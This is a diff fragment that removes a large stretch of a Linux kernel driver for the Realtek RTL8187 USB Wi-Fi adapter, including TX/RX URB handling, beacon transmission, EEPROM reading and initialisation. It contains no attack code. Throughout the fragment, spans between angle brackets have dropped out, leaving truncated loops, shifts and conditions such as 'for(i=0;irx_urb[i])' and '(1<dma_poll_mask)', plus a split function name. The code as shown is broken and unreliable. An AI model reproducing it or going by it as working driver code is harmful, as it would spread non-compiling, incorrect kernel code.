rtl8180_set_mode(dev,EPROM_CMD_NORMAL); -} - - -void rtl8180_ -_disable(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dma_poll_mask |= (1<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); -} - -#endif - - -void rtl8180_rtx_disable(struct net_device *dev) -{ - u8 cmd; - int i; - struct r8180_priv *priv = ieee80211_priv(dev); - - cmd=read_nic_byte(dev,CMD); - write_nic_byte(dev, CMD, cmd &~ \ - ((1<rx_urb){ - for(i=0;irx_urb[i]); - } - /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) -// dev_kfree_skb_any(priv->rx_skb); -} - - -int alloc_tx_beacon_desc_ring(struct net_device *dev, int count) -{ - #if 0 - int i; - u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, - &priv->txbeaconringdma); - if (!priv->txbeaconring) return -1; - for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); - else - *(tmp+4) = (u32)priv->txbeaconringdma; - - tmp=tmp+8; - } - #endif - return 0; -} - - -void rtl8180_reset(struct net_device *dev) -{ - - u8 cr; - - /* make sure the analog power is on before - * reset, otherwise reset may fail - */ - rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - - rtl8180_irq_disable(dev); - - mdelay(200); - write_nic_byte_E(dev,0x18,0x10); - write_nic_byte_E(dev,0x18,0x11); - write_nic_byte_E(dev,0x18,0x00); - mdelay(200); - - cr=read_nic_byte(dev,CMD); - cr = cr & 2; - cr = cr | (1<11) return 0; - return rtl_rate[rate]; -} - - -void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) -{ - struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); - - priv->rxurb_task = rx_urb; -// DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); -// DMESGW("=David: Rx tasklet finish!"); -} - -#if 0 -void rtl8180_tx_queues_stop(struct net_device *dev) -{ - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - #endif -} - - -void rtl8180_data_hard_resume(struct net_device *dev) -{ - // FIXME !! - #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dma_poll_mask &= ~(1<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - #endif -} - - -/* this function TX data frames when the ieee80211 stack requires this. - * It checks also if we need to stop the ieee tx queue, eventually do it - */ -void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; - unsigned long flags; - struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; -// DMESG("%x %x", h->frame_ctl, h->seq_ctl); - /* - * This function doesn't require lock because we make - * sure it's called with the tx_lock already acquired. - * this come from the kernel's hard_xmit callback (trought - * the ieee stack, or from the try_wake_queue (again trought - * the ieee stack. - */ - spin_lock_irqsave(&priv->tx_lock,flags); - - //DMESG("TX"); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ - DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, - ieeerate2rtlrate(rate)); - - priv->stats.txdatapkt++; - - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - -} -#if 0 -/* This is a rough attempt to TX a frame - * This is called by the ieee 80211 stack to TX management frames. - * If the ring is full packet are dropped (for data frame the queue - * is stopped before this can happen). - */ -int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - int ret; - unsigned long flags; - - spin_lock_irqsave(&priv->tx_lock,flags); - - ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); -/* - int i; - for(i=0;ilen;i++) - printk("%x ", skb->data[i]); - printk("--------------------\n"); -*/ - priv->ieee80211->stats.tx_bytes+=skb->len; - priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - - dev_kfree_skb_any(skb); - return ret; -} -#endif - -#if 0 -// longpre 144+48 shortpre 72+24 -u16 rtl8180_len2duration(u32 len, short rate,short* ext) -{ - u16 duration; - u16 drift; - *ext=0; - - switch(rate){ - case 0://1mbps - *ext=0; - duration = ((len+4)<<4) /0x2; - drift = ((len+4)<<4) % 0x2; - if(drift ==0 ) break; - duration++; - break; - - case 1://2mbps - *ext=0; - duration = ((len+4)<<4) /0x4; - drift = ((len+4)<<4) % 0x4; - if(drift ==0 ) break; - duration++; - break; - - case 2: //5.5mbps - *ext=0; - duration = ((len+4)<<4) /0xb; - drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) - break; - duration++; - break; - - default: - case 3://11mbps - *ext=0; - duration = ((len+4)<<4) /0x16; - drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) - break; - duration++; - if(drift > 6) - break; - *ext=1; - break; - } - - return duration; -} -#endif - -void rtl8180_try_wake_queue(struct net_device *dev, int pri); - -void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) -{ - struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); - if(tx_urb->status == 0) - priv->stats.txlpokint++; - else - priv->stats.txlperr++; - kfree(tx_urb->transfer_buffer); - usb_free_urb(tx_urb); - atomic_dec(&priv->tx_lp_pending); - rtl8180_try_wake_queue(dev,LOW_PRIORITY); -} - - -void rtl8187_beacon_stop(struct net_device *dev) -{ - u8 msr, msrm, msr2; - msr = read_nic_byte(dev, MSR); - msrm = msr & MSR_LINK_MASK; - msr2 = msr & ~MSR_LINK_MASK; - if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - - write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); - write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); - //for(i=0;ibssid[i]); - - rtl8180_update_msr(dev); - -// rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); - write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); - write_nic_word(dev, BcnIntTime, 100); - - -} - -void rtl8187_beacon_tx(struct net_device *dev) -{ - - struct r8180_priv *priv = ieee80211_priv(dev); - struct sk_buff *skb; - int i = 0; - - rtl8187_net_update(dev); - - skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ - DMESG("not enought memory for allocating beacon"); - return; - } - -#if 0 - while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ - msleep_interruptible_rtl(HZ/2); - if(i++ > 20){ - DMESG("get stuck to wait EP3 become ready"); - return ; - } - } -#endif - write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - - i=0; - //while(!read_nic_byte(dev,BQREQ & (1<<7))) - while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) - { - msleep_interruptible_rtl(HZ/2); - if(i++ > 10){ - DMESG("get stuck to wait HW beacon to be ready"); - return ; - } - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, - 0, priv->ieee80211->basic_rate); - -} - -void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) -{ - struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); - if(tx_urb->status == 0) - priv->stats.txnpokint++; - else - priv->stats.txnperr++; - kfree(tx_urb->transfer_buffer); - usb_free_urb(tx_urb); - atomic_dec(&priv->tx_np_pending); - //rtl8180_try_wake_queue(dev,NORM_PRIORITY); -} - - -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB - */ - -short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority, - short morefrag, short rate) -{ - u32 *tx; -// u16 duration; -// short ext; - int pend ; - int status; - struct urb *tx_urb; - int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); -// int rate = ieeerate2rtlrate(priv->ieee80211->rate); - - pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - /* we are locked here so the two atomic_read and inc are executed without interleaves */ - if( pend > MAX_TX_URB){ - if(priority == NORM_PRIORITY) - priv->stats.txnpdrop++; - else - priv->stats.txlpdrop++; - return -1; - } - - - //tx = kmalloc((len + 4*3), GFP_ATOMIC); - urb_len = len + 4*3; - if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; - } - tx = kmalloc(urb_len, GFP_ATOMIC); - if(!tx) return -ENOMEM; -printk(KERN_WARNING "urb_len = %d\n", urb_len); - tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - - if(!tx_urb){ - - kfree(tx); - return -ENOMEM; - } - - memcpy(tx+3,txbuf,len); - tx[0] = 0; - tx[0] |= len & 0xfff; - tx[0] |= (1<<15); - -// if(priv->shortpre) -// tx[0] |= (1<<16); - - //if(len > priv->rts_threshold){ -// tx[0] |= (1<<23); //ENABLE RTS -// tx[0] |= (1<<18); //ENABLE CTS - //} - if(morefrag) tx[0] |= (1<<17); - tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ - tx[0] |= (rate << 24); - tx[1] = 0; - -// duration = rtl8180_len2duration(len, -// rate,&ext); -// tx[1] |= (duration & 0x7fff) <<16; -// if(ext) tx[1] |= (1<<31); - - -// tx[2] = 0x303020; - tx[2] = 3; // CW min - tx[2] |= (7<<4); //CW max - tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - -// printk("%x\n%x\n",tx[0],tx[1]); - - #ifdef DUMP_TX - int i; - printk("--rate %x---",rate); - for (i = 0; i < (len + 3); i++) - printk("%2x", ((u8*)tx)[i]); - printk("---------------\n"); - #endif - - - /* FIXME check what EP is for low/norm PRI */ - usb_fill_bulk_urb(tx_urb,priv->udev, - usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx, - urb_len, (priority == LOW_PRIORITY)?rtl8187_lptx_isr:rtl8187_nptx_isr, dev); - status = usb_submit_urb(tx_urb, GFP_ATOMIC); - if (!status){ - atomic_inc((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - return 0; - }else{ - DMESGE("Error TX URB %d, error %d", - atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending), - status); - return -1; - } -} - - - -void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); - - -short rtl8187_usb_initendpoints(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - int i; - - priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - - for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) - goto destroy; - - priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) - goto destroy1; - - priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; - } - - return 0; - -destroy1: - usb_free_urb(priv->rx_urb[i]); - -destroy: - while (--i >= 0){ - kfree(priv->rx_urb[i]->transfer_buffer); - usb_free_urb(priv->rx_urb[i]); - } - - kfree(priv->rx_urb); - - priv->rx_urb = NULL; - DMESGE("Endpoint Alloc Failure"); - return -ENOMEM; - -} - -void rtl8187_usb_deleteendpoints(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - int i; - - if(priv->rx_urb){ - for(i=0;irx_urb[i]); - kfree(priv->rx_urb[i]->transfer_buffer); - usb_free_urb(priv->rx_urb[i]); - } - kfree(priv->rx_urb); - priv->rx_urb = NULL; - - } - -} - - -void rtl8187_set_rate(struct net_device *dev) -{ - int i; - u16 word; - int basic_rate,min_rr_rate,max_rr_rate; - -// struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && -// priv->ieee80211->state == IEEE80211_LINKED){ - basic_rate = ieeerate2rtlrate(240); - min_rr_rate = ieeerate2rtlrate(60); - max_rr_rate = ieeerate2rtlrate(240); - -// -// }else{ -// basic_rate = ieeerate2rtlrate(20); -// min_rr_rate = ieeerate2rtlrate(10); -// max_rr_rate = ieeerate2rtlrate(110); -// } - - write_nic_byte(dev, RESP_RATE, - max_rr_rate<beacon_interval); - rtl8187_net_update(dev); - /*update timing params*/ - rtl8180_set_chan(dev, priv->chan); - - rtl8187_set_rxconf(dev); -} - -void rtl8180_irq_rx_tasklet(struct r8180_priv *priv); - -short rtl8180_init(struct net_device *dev) -{ - - struct r8180_priv *priv = ieee80211_priv(dev); - int i, j; - u16 word; - int ch; - //u16 version; - //u8 hw_version; - //u8 config3; - - //FIXME: these constants are placed in a bad pleace. - -// priv->txbuffsize = 1024; -// priv->txringcount = 32; -// priv->rxbuffersize = 1024; -// priv->rxringcount = 32; -// priv->txbeaconcount = 3; -// priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; - /* ^^ the SKB does not containt a partial RXed - * packet (is empty) - */ - - if(!channels){ - DMESG("No channels, aborting"); - return -1; - } - ch=channels; - // set channels 1..14 allowed in given locale - for (i=1; i<=14; i++) { - (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); - ch >>= 1; - } - //memcpy(priv->stats,0,sizeof(struct Stats)); - - //priv->irq_enabled=0; - -// priv->stats.rxdmafail=0; - priv->stats.txrdu=0; -// priv->stats.rxrdu=0; -// priv->stats.rxnolast=0; -// priv->stats.rxnodata=0; - //priv->stats.rxreset=0; - //priv->stats.rxwrkaround=0; -// priv->stats.rxnopointer=0; - priv->stats.txnperr=0; - priv->stats.txresumed=0; -// priv->stats.rxerr=0; -// priv->stats.rxoverflow=0; -// priv->stats.rxint=0; - priv->stats.txnpokint=0; - /*priv->stats.txhpokint=0; - priv->stats.txhperr=0;*/ - priv->stats.rxurberr=0; - priv->stats.rxstaterr=0; - priv->stats.txoverflow=0; - priv->stats.rxok=0; -// priv->stats.txbeaconerr=0; - priv->stats.txlperr=0; - priv->stats.txlpokint=0; - - priv->ieee80211->iw_mode = IW_MODE_INFRA; - - priv->retry_rts = DEFAULT_RETRY_RTS; - priv->retry_data = DEFAULT_RETRY_DATA; - priv->ieee80211->rate = 110; //11 mbps - priv->ieee80211->short_slot = 1; - priv->ieee80211->mode = IEEE_G; - priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; - spin_lock_init(&priv->tx_lock); - INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); - sema_init(&priv->wx_sem,1); - tasklet_init(&priv->irq_rx_tasklet, - (void(*)(unsigned long))rtl8180_irq_rx_tasklet, - (unsigned long)priv); - - //priv->ieee80211->func = - // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); - //memset(priv->ieee80211->func, 0, - // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; - priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | - IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | - /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - - priv->ieee80211->active_scan = 1; - priv->ieee80211->rate = 110; //11 mbps - priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; - priv->ieee80211->host_encrypt = 1; - priv->ieee80211->host_decrypt = 1; - priv->ieee80211->start_send_beacons = rtl8187_beacon_tx; - priv->ieee80211->stop_send_beacons = rtl8187_beacon_stop; - //priv->ieee80211->softmac_hard_start_xmit = rtl8180_hard_start_xmit; - priv->ieee80211->softmac_hard_start_xmit = NULL; - priv->ieee80211->set_chan = rtl8180_set_chan; - priv->ieee80211->link_change = rtl8187_link_change; - priv->ieee80211->softmac_data_hard_start_xmit = rtl8180_hard_data_xmit; - priv->ieee80211->data_hard_stop = rtl8180_data_hard_stop; - priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; - //priv->ieee80211->start_send_beacons = NULL; - //priv->ieee80211->stop_send_beacons = NULL; - - priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - - priv->card_8185 = 2; - priv->phy_ver = 2; - priv->card_type = USB; - - #if 0 - hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - - switch (hw_version){ - case HW_VERID_R8185_ABC: - DMESG("MAC controller is a RTL8185 b/g"); - priv->card_8185 = 1; - /* you should not find a card with 8225 PHY ver < C*/ - priv->phy_ver = 2; - break; - - case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); - priv->card_8185 = 2; - /* you should not find a card with 8225 PHY ver < C*/ - priv->phy_ver = 2; - break; - - case HW_VERID_R8180_ABCD: - DMESG("MAC controller is a RTL8180"); - priv->card_8185 = 0; - break; - - case HW_VERID_R8180_F: - DMESG("MAC controller is a RTL8180 (v. F)"); - priv->card_8185 = 0; - break; - - default: - DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); - priv->card_8185 = 0; - break; - } - - - /* you should not found any 8185 Ver B Card */ - priv->card_8185_Bversion = 0; - - config3 = read_nic_byte(dev, CONFIG3); - if(config3 & 0x8){ - priv->card_type = CARDBUS; - DMESG("This is a CARDBUS NIC"); - } - else if( config3 & 0x4){ - priv->card_type = MINIPCI; - DMESG("This is a MINI-PCI NIC"); - }else{ - priv->card_type = PCI; - DMESG("This is a PCI NIC"); - } - #endif - priv->enable_gpio0 = 0; - - - /* commented out just because we already do - this when resetting the card - andrea 20050924 - */ - #if 0 - - u8 txcr, txreg50; - u32 txreg54, txreg60; - - /* enable A/D D/A register */ - txcr = read_nic_byte(dev, 0x59); -// DMESG("", txcr); - //write_nic_word(dev, 0x59, 0x44); - write_nic_byte(dev, 0x59, 0x44); - //write_nic_byte(dev, 0x59, 0xea); - txcr = read_nic_byte(dev, 0x59); -// DMESG("<>", txcr); - - txreg50 = read_nic_byte(dev, 0x50); - // DMESG("", txreg50); - write_nic_byte(dev, 0x50, 0xc0); - txreg50 = read_nic_byte(dev, 0x50); - // DMESG("<>", txreg50); - - - txreg54 = read_nic_dword(dev, 0x54); - // DMESG("", txreg54); - txreg54 = 0xa0000a59; - // DMESG("<>", txreg54); - write_nic_dword(dev, 0x54, txreg54); - txreg54 = read_nic_dword(dev, 0x54); - // DMESG("<<>>", txreg54); - - txreg60 = read_nic_dword(dev, 0x60); - // DMESG("", txreg60); - - write_nic_byte(dev, 0x50, 0x0); - txcr = read_nic_byte(dev, 0x50); - // DMESG("<>", txcr); - -#endif - - /*the eeprom type is stored in RCR register bit #6 */ - if (RCR_9356SEL & read_nic_dword(dev, RCR)){ - priv->epromtype=EPROM_93c56; - DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); - }else{ - priv->epromtype=EPROM_93c46; - DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); - } - - dev->get_stats = rtl8180_stats; - - dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; - dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; - dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; - dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; - dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; - dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - - DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - - for(i=1,j=0; i<6; i+=2,j++){ - - word = eprom_read(dev,EPROM_TXPW0 + j); - priv->chtxpwr[i]=word & 0xf; - priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; - priv->chtxpwr[i+1]=(word & 0xf00)>>8; - priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; - } - - for(i=1,j=0; i<4; i+=2,j++){ - - word = eprom_read(dev,EPROM_TXPW1 + j); - priv->chtxpwr[i+6]=word & 0xf; - priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; - priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; - priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; - } - - for(i=1,j=0; i<4; i+=2,j++){ - - word = eprom_read(dev,EPROM_TXPW2 + j); - priv->chtxpwr[i+6+4]=word & 0xf; - priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; - priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; - priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; - } - - - priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - - word = eprom_read(dev,EPROM_TXPW_BASE); - priv->cck_txpwr_base = word & 0xf; - priv->ofdm_txpwr_base = (word>>4) & 0xf; - - /* check RF frontend chipset */ - - switch (priv->rf_chip) { - - case EPROM_RFCHIPID_RTL8225U: - - DMESG("Card reports RF frontend Realtek 8225"); - DMESGW("This driver has EXPERIMENTAL support for this chipset."); - DMESGW("use it with care and at your own risk and"); - DMESGW("**PLEASE** REPORT SUCCESS/INSUCCESS TO andreamrl@tiscali.it"); - if(rtl8225_is_V_z2(dev)){ - priv->rf_init = rtl8225z2_rf_init; - priv->rf_set_chan = rtl8225z2_rf_set_chan; - priv->rf_set_sens = NULL; - DMESG("This seems a new V2 radio"); - }else{ - priv->rf_init = rtl8225_rf_init; - priv->rf_set_chan = rtl8225_rf_set_chan; - priv->rf_set_sens = rtl8225_rf_set_sens; - DMESG("This seems a legacy 1st version radio"); - } - priv->rf_close = rtl8225_rf_close; - - priv->max_sens = RTL8225_RF_MAX_SENS; - priv->sens = RTL8225_RF_DEF_SENS; - break; - - default: - DMESGW("Unknown RF module %x",priv->rf_chip); - DMESGW("Exiting..."); - return -1; - - } - -// DMESG("Energy threshold: %x",priv->cs_treshold); - DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); - //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ - DMESG("Endopoints initialization failed"); - return -ENOMEM; - } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) - return -ENOMEM; - - if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, - TX_NORMPRIORITY_RING_ADDR)) - return -ENOMEM; - - if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, - TX_HIGHPRIORITY_RING_ADDR)) - return -ENOMEM; - - if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, - TX_LOWPRIORITY_RING_ADDR)) - return -ENOMEM; - - - if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) - return -ENOMEM; -#endif - - -#ifdef DEBUG_EPROM - dump_eprom(dev); -#endif - return 0; - -} - -void rtl8185_rf_pins_enable(struct net_device *dev) -{ -/* u16 tmp; - tmp = read_nic_word(dev, RFPinsEnable);*/ - write_nic_word(dev, RFPinsEnable, 0x1ff7);// | tmp); -} - - -void rtl8185_set_anaparam2(struct net_device *dev, u32 a) -{ - u8 conf3; - - rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - - conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); - write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); - write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); - write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); - - //read_nic_dword(dev, PHY_ADR); -#if 0 - for(i=0;i<10;i++){ - write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); - phyr = read_nic_byte(dev, PHY_READ); - if(phyr == (data&0xff)) break; - - } -#endif - /* this is ok to fail when we write AGC table. check for AGC table might be - * done by masking with 0x7f instead of 0xff - */ - //if(phyr != (data&0xff)) DMESGW("Phy write timeout %x %x %x", phyr, data, adr); - mdelay(1); -} - - -inline void write_phy_ofdm (struct net_device *dev, u8 adr, u32 data) -{ - data = data & 0xff; - rtl8187_write_phy(dev, adr, data); -} - - -void write_phy_cck (struct net_device *dev, u8 adr, u32 data) -{ - data = data & 0xff; - rtl8187_write_phy(dev, adr, data | 0x10000); -} - - -void rtl8180_adapter_start(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - //u32 anaparam; - //u8 config3; - - //rtl8180_rtx_disable(dev); - rtl8180_reset(dev); - - write_nic_byte(dev,0x85,0); - write_nic_byte(dev,0x91,0); - - /* light blink! */ - write_nic_byte(dev,0x85,4); - write_nic_byte(dev,0x91,1); - write_nic_byte(dev,0x90,0); - - priv->irq_mask = 0xffff; -/* - priv->dma_poll_mask = 0; - priv->dma_poll_mask|= (1<dev_addr)[0]); - write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); - - rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - rtl8180_update_msr(dev); - - rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - - write_nic_word(dev,0xf4,0xffff); - write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); - - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - - write_nic_dword(dev,INT_TIMEOUT,0); - -#ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); -#endif - - - write_nic_byte(dev, WPA_CONFIG, 0); - - write_nic_byte(dev, RATE_FALLBACK, 0x81); - rtl8187_set_rate(dev); - - priv->rf_init(dev); - - if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - - write_nic_word(dev,0x5e,1); - - #if 1 - //mdelay(1); - write_nic_word(dev,0xfe,0x10); -// mdelay(1); - #endif - write_nic_byte(dev, TALLY_SEL, 0x80);//Set NQ retry count - - write_nic_byte(dev, 0xff, 0x60); - - write_nic_word(dev,0x5e,0); - - - rtl8180_irq_enable(dev); - /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - - DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - - DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); - if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); - if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); - if(check_nic_enought_desc(dev,LOW_PRIORITY)) DMESG("LOW OK");*/ -} - - - -/* this configures registers for beacon tx and enables it via - * rtl8180_beacon_tx_enable(). rtl8180_beacon_tx_disable() might - * be used to stop beacon transmission - */ -#if 0 -void rtl8180_start_tx_beacon(struct net_device *dev) -{ - int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; - DMESG("Enabling beacon TX"); - //write_nic_byte(dev, 0x42,0xe6);// TCR - //rtl8180_init_beacon(dev); - //set_nic_txring(dev); -// rtl8180_prepare_beacon(dev); - rtl8180_irq_disable(dev); -// rtl8180_beacon_tx_enable(dev); - rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - //write_nic_byte(dev,0x9d,0x20); //DMA Poll - //write_nic_word(dev,0x7a,0); - //write_nic_word(dev,0x7a,0x8000); - - - word = read_nic_word(dev, BcnItv); - word &= ~BcnItv_BcnItv; // clear Bcn_Itv - write_nic_word(dev, BcnItv, word); - - write_nic_word(dev, AtimWnd, - read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - - word = read_nic_word(dev, BintrItv); - word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * - // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); - // FIXME:FIXME check if correct ^^ worked with 0x3e8; - - write_nic_word(dev, BintrItv, word); - - //write_nic_word(dev,0x2e,0xe002); - //write_nic_dword(dev,0x30,0xb8c7832e); - for(i=0; iieee80211->beacon_cell_ssid[i]); - -// rtl8180_update_msr(dev); - - - //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - - rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - - rtl8180_irq_enable(dev); - - /* VV !!!!!!!!!! VV*/ - /* - rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); -*/ -} -#endif -/*************************************************************************** - -------------------------------NET STUFF--------------------------- -***************************************************************************/ -static struct net_device_stats *rtl8180_stats(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - return &priv->ieee80211->stats; -} - - -int _rtl8180_up(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - priv->up=1; - - //DMESG("Bringing up iface"); - - 